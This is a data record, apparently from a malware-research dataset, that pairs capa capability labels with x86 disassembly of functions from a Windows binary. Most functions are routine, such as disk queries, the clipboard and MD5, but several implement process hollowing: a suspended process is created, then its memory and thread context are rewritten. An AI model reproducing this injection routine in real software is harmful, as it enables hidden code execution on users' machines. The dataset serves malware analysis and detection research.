joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dbf66
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4dbf9e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004d9fb3
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004d9f8b
jmp 0x4dbfaa
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4dd658
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4dd69a
call fcn.004e3a3b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4dd69a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4dd691
xor eax, eax
jmp 0x4dd6a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004dd6a8
pop edi
pop esi
pop ebx
ret 4

Function at 0x4e3f6b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4e3f99
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4e3fb7
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004e3ed1
jmp 0x4e3fb7
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4e3fb7
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004e3ed1
test edi, edi
mov eax, edi
jne 0x4e3fa1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4025df
Capabilities:
Create directory

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrW]
push 0x5c
push ebx
jmp 0x402613
and word [esi], 0
push ebx
call fcn.004025b7
test eax, eax
pop ecx
jne 0x402608
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov word [esi], 0x5c
push 0x5c
add esi, 2
push esi
call edi
mov esi, eax
test esi, esi
jne 0x4025f1
pop edi
pop esi
inc eax
pop ebx
ret

Function at 0x402620
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret

Function at 0x402837
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push esi
push edi
push pe_nt_image_headers32
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [ebp + 8]
add esp, 0xc
xor eax, eax
cmp dword [ebp + 0x18], esi
push edi
setne al
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4028ea
mov esi, dword [ebp + 0xc]
push ebx
push esi
mov dword [esi], 0x10007
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [esi + 0xa4]
push 4
push ebx
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebx]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x4028cd
cmp dword [ebp - 0xc], 0x10000
je 0x4028dc
add esi, dword [ebp - 0x10]
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [edi]
call ebx
test eax, eax
jne 0x4028c1
mov eax, dword [ebp + 0x10]
sub esi, dword [eax]
pop ebx
mov dword [eax + 4], esi
xor eax, eax
inc eax
jmp 0x4028ec
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40297a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
push edi
push dword [ebp + 0x1c]
lea eax, [ebp - 0x1c]
push dword [ebp + 0x18]
push eax
lea eax, [ebp - 0x2ec]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402837
add esp, 0x14
test eax, eax
je 0x402b0d
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x1c]
and dword [ebp - 4], 0
cmp dword [ebx + 0x1c], eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, 0x3000
jne 0x4029e3
mov ecx, dword [ebp - 0x18]
cmp dword [ebp + 0x14], ecx
ja 0x4029e3
lea edx, [ebp - 0x20]
push edx
push pe_nt_image_headers32
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x402a17
push 0x40179c
push 0x401788
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call eax
test eax, eax
jne 0x402a17
push pe_nt_image_headers32
push edi
push dword [ebp + 0x14]
push dword [ebx + 0x1c]
push dword [ebp - 0x14]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402a5d
push ebx
call fcn.004028f0
add esp, 4
test eax, eax
je 0x402b02
push pe_nt_image_headers32
push edi
push dword [ebp + 0x14]
push 0
push dword [ebp - 0x14]
call esi
test eax, eax
mov dword [ebp - 4], eax
je 0x402b02
push eax
push dword [ebp + 0x10]
push ebx
call fcn.0040290d
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x402b02
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x248]
add eax, 8
push eax
push dword [ebp - 0x14]
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 4]
push 0
push dword [ebp + 0x14]
mov dword [ecx + eax + 0x34], edx
push eax
push dword [ebp - 4]
push dword [ebp - 0x14]
call esi
test eax, eax
je 0x402b02
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2ec], 0x10007
jne 0x402abe
mov eax, dword [ebx + 0x10]
add eax, dword [ebx + 0x1c]
mov dword [ebp - 0x23c], eax
jmp 0x402ac9
mov ecx, dword [ebx + 0x10]
add ecx, eax
mov dword [ebp - 0x23c], ecx
lea eax, [ebp - 0x2ec]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
xor eax, eax
inc eax
jmp 0x402b0f
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402b14
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040263b
mov ebx, dword [ebp - 8]
add esp, 0x18
test eax, eax
je 0x402bc2
push esi
push edi
push ebx
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0040270a
add esp, 0xc
push pe_nt_image_headers32
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x402bc0
push esi
push ebx
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call fcn.00402780
add esp, 0x14
test eax, eax
je 0x402bbc
push dword [ebp + 0x14]
lea eax, [ebp - 0x140]
push dword [ebp + 0x10]
push edi
push esi
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.0040297a
add esp, 0x18
test eax, eax
je 0x402bbc
mov dword [ebp - 4], 1
jmp 0x402bc0
and dword [ebp - 4], 0
pop edi
pop esi
test ebx, ebx
je 0x402bcd
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x402bd3
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
cmp dword [ebp + 0x10], 0
jne 0x402c0f
cmp dword [ebp + 0xc], 0
mov cl, 0x14
je 0x402c04
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
jmp 0x402c0a
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00410040
leave
ret

Function at 0x402de4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
xor eax, eax
cmp dword [ebp + 8], esi
je 0x402e62
push ebx
push edi
push dword [ebp + 8]
mov word [ebp - 0x10], si
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, eax
cmp ebx, 3
jne 0x402e5e
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push 0x4017e4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push esi
push esi
push ebx
push esi
push ebx
push 0x80000000
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x402e5e
cmp edi, 0xffffffff
je 0x402e5e
push 1
push edi
call fcn.00402ca3
test eax, eax
pop ecx
pop ecx
je 0x402e57
push 2
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret

Function at 0x402fde
Capabilities:
Get disk information

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ecx, dword [esp + 4]
xor edx, edx
add ecx, 0xffffffbf
inc edx
shl edx, cl
and eax, edx
ret
Function at 0x402ff3
Capabilities:
Get disk information

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x56
mov edx, eax
pop eax
push esi
xor esi, esi
inc esi
lea ecx, [eax - 0x41]
shl esi, cl
test edx, esi
je 0x40302f
add eax, 0xffff
cmp ax, 0x43
jae 0x402fff
push 0x57
pop eax
xor esi, esi
inc esi
lea ecx, [eax - 0x41]
shl esi, cl
test edx, esi
je 0x40302f
inc eax
cmp ax, 0x5a
jbe 0x403019
xor ax, ax
pop esi
ret

Function at 0x4031f1
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x4017fc
push eax
or ebx, 0xffffffff
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
xor esi, esi
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
je 0x403267
cmp edi, ebx
je 0x403267
push esi
lea eax, [ebp - 4]
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push 0x2d1080
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40326e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push dword [ebp + 8]
call fcn.0040310d
cmp ax, word [ebp + 0xc]
pop ecx
jb 0x403318
push edi
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
and word [ebp - 8], 0
xor eax, eax
lea edi, [ebp - 6]
stosd dword es:[edi], eax
xor esi, esi
cmp word [ebp - 0x210], si
stosw word es:[edi], ax
pop edi
je 0x403318
lea eax, [ebp - 0x210]
movzx eax, word [eax]
cmp ax, 0x41
je 0x403305
cmp ax, 0x42
je 0x403305
movzx eax, ax
push eax
lea eax, [ebp - 8]
push 0x40180c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 8]
push eax
call fcn.0040317c
movzx ecx, word [ebp + 0xc]
add esp, 0x10
cmp eax, ecx
jne 0x403305
lea eax, [ebp - 8]
push eax
call fcn.004031f1
pop ecx
movzx ecx, word [ebp + 8]
cmp eax, ecx
je 0x40331e
add esi, 4
movzx eax, si
lea eax, [ebp + eax*2 - 0x210]
cmp word [eax], 0
jne 0x4032bd
xor ax, ax
pop esi
leave
ret
movzx eax, si
mov ax, word [ebp + eax*2 - 0x210]
jmp 0x40331b
Function at 0x403393
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040326e
test ax, ax
pop ecx
pop ecx
jne 0x40342a
and word [ebp - 8], ax
and word [ebp - 4], ax
push esi
mov esi, dword [ebp + 0x10]
cmp si, 0x5a
mov word [ebp - 6], 0x3a
ja 0x4033cc
cmp si, 0x42
jae 0x4033ce
xor esi, esi
test si, si
je 0x4033e4
push esi
call fcn.00402fde
test eax, eax
pop ecx
jne 0x4033e4
mov word [ebp - 8], si
jmp 0x4033ed
call fcn.00402ff3
mov word [ebp - 8], ax
movzx eax, word [ebp + 0xc]
push eax
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x210]
push 0x40181c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
pop esi
je 0x40342a
mov ax, word [ebp - 8]
leave
ret
xor ax, ax
leave
ret

Function at 0x403b14
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x403d36
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push pe_nt_image_headers32
lea eax, [ebp - 0x40]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - pe_nt_image_headers32], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [ebp + 8], 0
mov eax, dword [ebp - 0x30]
jne 0x403d69
mov eax, dword [ebp - 0x38]
shr eax, 0x14
leave
ret

Function at 0x403d82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [0x413c0c], esi
mov dword [ebp - 4], esi
jne 0x403dcf
push edi
mov ecx, esi
push 8
shl ecx, 0x18
xor edx, edx
pop edi
mov eax, edx
xor eax, ecx
add edx, edx
test eax, eax
jns 0x403daf
xor edx, 0x4c10db7
add ecx, ecx
dec edi
jne 0x403d9f
mov dword [esi*4 + 0x413808], edx
inc esi
cmp esi, 0x100
jl 0x403d95
mov dword [0x413c0c], 0x4c10db7
pop edi
mov edx, dword [ebp + 0xc]
test edx, edx
jbe 0x403df8
mov ecx, dword [ebp + 8]
movzx esi, byte [ecx]
mov eax, dword [ebp - 4]
shr eax, 0x18
xor eax, esi
mov esi, dword [ebp - 4]
shl esi, 8
xor esi, dword [eax*4 + 0x413808]
inc ecx
dec edx
mov dword [ebp - 4], esi
jne 0x403dd9
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x403fc1
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
push 0x400
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call fcn.0040241d
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
mov edi, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
mov esi, eax
test esi, esi
je 0x40405f
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x404059
push ebx
lea ebx, [edi + 1]
push ebx
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x404058
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x404051
push ebx
lea ecx, [ebp - 0x400]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov esi, eax
neg esi
sbb esi, esi
neg esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x4040a9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push edi
push dword [ebp + 8]
xor edi, edi
call fcn.00403bda
add esp, 4
test eax, eax
je 0x404124
push esi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x40411a
lea eax, [ebp - 0x22c]
push eax
push esi
mov dword [ebp - 0x22c], 0x22c
call sub.KERNEL32.dll_Process32FirstW
jmp 0x40410e
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x404114
lea eax, [ebp - 0x22c]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4040ed
jmp 0x40411a
mov edi, dword [ebp - 0x224]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
jmp 0x404133
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.00404065
pop ecx
mov edi, eax
mov eax, edi
pop edi
leave
ret

Function at 0x404138
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x2c
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_StrChrW]
mov esi, eax
test esi, esi
je 0x40415c
and word [esi], 0
inc esi
inc esi
push esi
call dword [sym.imp.USER32.dll_CharUpperW]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
movzx ecx, word [esi]
test cx, cx
mov edi, eax
mov dword [ebp - 4], edi
je 0x4041dc
push ebx
cmp cx, 0x2b
sete al
inc esi
inc esi
movzx ecx, word [esi]
xor edx, edx
cmp cx, 0x41
sete dl
xor ebx, ebx
cmp cx, 0x53
sete bl
lea edx, [ebx + edx*8]
xor ebx, ebx
cmp cx, 0x48
sete bl
lea edx, [ebx + edx*2]
xor ebx, ebx
cmp cx, 0x52
sete bl
lea ecx, [ebx + edx*2]
test ecx, ecx
je 0x4041ba
test al, al
je 0x4041b8
or edi, ecx
jmp 0x4041ba
and edi, ecx
inc esi
inc esi
movzx ecx, word [esi]
test cx, cx
jne 0x404173
cmp dword [ebp - 4], edi
pop ebx
je 0x4041dc
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
inc eax
neg eax
sbb eax, eax
inc eax
jmp 0x4041de
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4045f0
Capabilities:
Create directory
Get common file path
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp word [esi], bx
push edi
mov dword [ebp - 4], ebx
jne 0x4046bc
cmp dword [ebp + 0x10], ebx
je 0x4046b2
xor edi, edi
cmp word [esi], bx
je 0x404631
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x40171c]
call fcn.004045f0
add esp, 0xc
jmp 0x4046a4
push dword [edi + 0x40171c]
lea eax, [ebp - 0x804]
push 0x401abc
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 1
lea esi, [edi + 0x401718]
push dword [esi]
lea ebx, [ebp + eax*2 - 0x804]
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x40469f
cmp dword [esi], 0x1a
jne 0x40468b
push 0x401a68
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call fcn.004025df
pop ecx
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push eax
call fcn.004045f0
add esp, 0xc
mov esi, dword [ebp + 8]
xor ebx, ebx
add edi, 8
cmp edi, 0x40
jb 0x404618
jmp 0x4046b7
call fcn.004045b7
cmp word [esi], bx
je 0x404727
cmp byte [ebp + 0xc], 1
jne 0x4046f0
push esi
push 0x4019c8
push 0x4019b0
lea eax, [ebp - 0x804]
push 0x401a54
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x804]
push eax
call fcn.004041e2
add esp, 0x18
jmp 0x404727
cmp byte [ebp + 0xc], 2
jne 0x404727
push esi
push 0x4019c8
push 0x4019f8
push 0x4019bc
lea eax, [ebp - 0x804]
push 0x4019e0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x804]
push eax
call fcn.004041e2
add esp, 0x1c
push 0x3d
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrW]
cmp eax, ebx
je 0x40475e
mov word [eax], bx
add eax, 2
push eax
call fcn.00403bbc
push esi
mov edi, eax
call fcn.00403bbc
cmp edi, ebx
pop ecx
pop ecx
je 0x40475e
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
cmp byte [ebp + 0xc], 0
pop edi
pop esi
pop ebx
jbe 0x40476c
call fcn.004045b7
mov eax, dword [ebp - 4]
leave
ret
Function at 0x404bfa
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x4bc
push esi
push edi
xor edi, edi
mov esi, 0x206
push esi
lea eax, [ebp - 0x23e]
push edi
push eax
mov dword [ebp + 0x70], edi
mov word [ebp - 0x240], di
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x446]
push edi
push eax
mov word [ebp - 0x448], di
call sub.MSVCRT.dll_memset
push 0x9e
lea eax, [ebp - 0x36]
push edi
push eax
mov word [ebp - 0x38], di
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0x24
cmp dword [ebp + 0x7c], 5
jne 0x404c68
push 0x401b38
lea eax, [ebp - 0x38]
push eax
call esi
cmp dword [ebp + 0x7c], 2
jne 0x404c79
push 0x401b30
lea eax, [ebp - 0x38]
push eax
call esi
cmp word [ebp - 0x38], di
je 0x404d6f
lea eax, [ebp - 0x448]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp word [ebp - 0x448], di
mov word [ebp + 0x6a], 0x3a
mov word [ebp + 0x6c], di
lea esi, [ebp - 0x448]
je 0x404d6f
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
cmp word [esi], 0x42
jbe 0x404d2e
push esi
call fcn.00402de4
cmp eax, dword [ebp + 0x7c]
pop ecx
jne 0x404d2e
mov ax, word [esi]
inc dword [ebp + 0x70]
mov word [ebp + 0x68], ax
lea eax, [ebp + 0x68]
push eax
push dword [ebp + 0x70]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x240]
push 0x401b20
push eax
call ebx
push edi
lea eax, [ebp - 0x240]
push 1
push eax
call fcn.004045f0
add esp, 0x20
cmp dword [ebp + 0x70], 1
jne 0x404d2e
lea eax, [ebp + 0x68]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x240]
push 0x401b14
push eax
call ebx
push edi
lea eax, [ebp - 0x240]
push 1
push eax
call fcn.004045f0
add esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2 + 2]
cmp word [esi], di
jne 0x404cb9
cmp dword [ebp + 0x70], edi
je 0x404d6e
push dword [ebp + 0x70]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x240]
push 0x401b04
push eax
call ebx
push edi
lea eax, [ebp - 0x240]
push 1
push eax
call fcn.004045f0
add esp, 0x1c
pop ebx
mov eax, dword [ebp + 0x70]
pop edi
pop esi
add ebp, 0x74
leave
ret